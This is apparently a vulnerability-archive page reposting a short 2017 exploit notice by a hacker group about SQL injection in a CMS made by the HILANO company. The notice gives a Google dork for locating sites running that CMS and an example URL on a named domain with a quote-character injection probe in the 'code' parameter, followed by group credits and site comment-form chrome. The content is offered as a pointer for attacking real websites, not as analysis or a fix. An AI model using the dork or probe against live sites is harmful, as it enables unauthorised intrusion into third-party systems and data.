HILANO Company SQL Injection Vulnerability

2017.06.26

H.BBF3.4 (IR)

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: intext:" Design by HILANO" + inurl:"code="

# Exploit Title: SQL Injection Vulnerability of CMS which made by HILANO Company
# Google Dork: intext:" Design by HILANO" + inurl:"code="
# Date: 2017-06-26
# Exploit Author: H.BBF3.4
# Tested on: Windows 10 - Firefox



--------------------------------------
E.g:
http://arasystem.atsys.ir/page.php?code=437216B%27&lng=fa

--------------------------------------
# We Are: BarDia & AmirHossein & A.k HackeR & Tev3R & SoltanSilent & Byp4ss & NimA & A.BBF3.4 & Ali
# CYAXARES TEAM
#Telegram ID= t.me/hbbfea
#Telegram Channel: https://t.me/CYAXARESTEAM

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

HILANO Company SQL Injection Vulnerability

Dork: intext:" Design by HILANO" + inurl:"code="

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.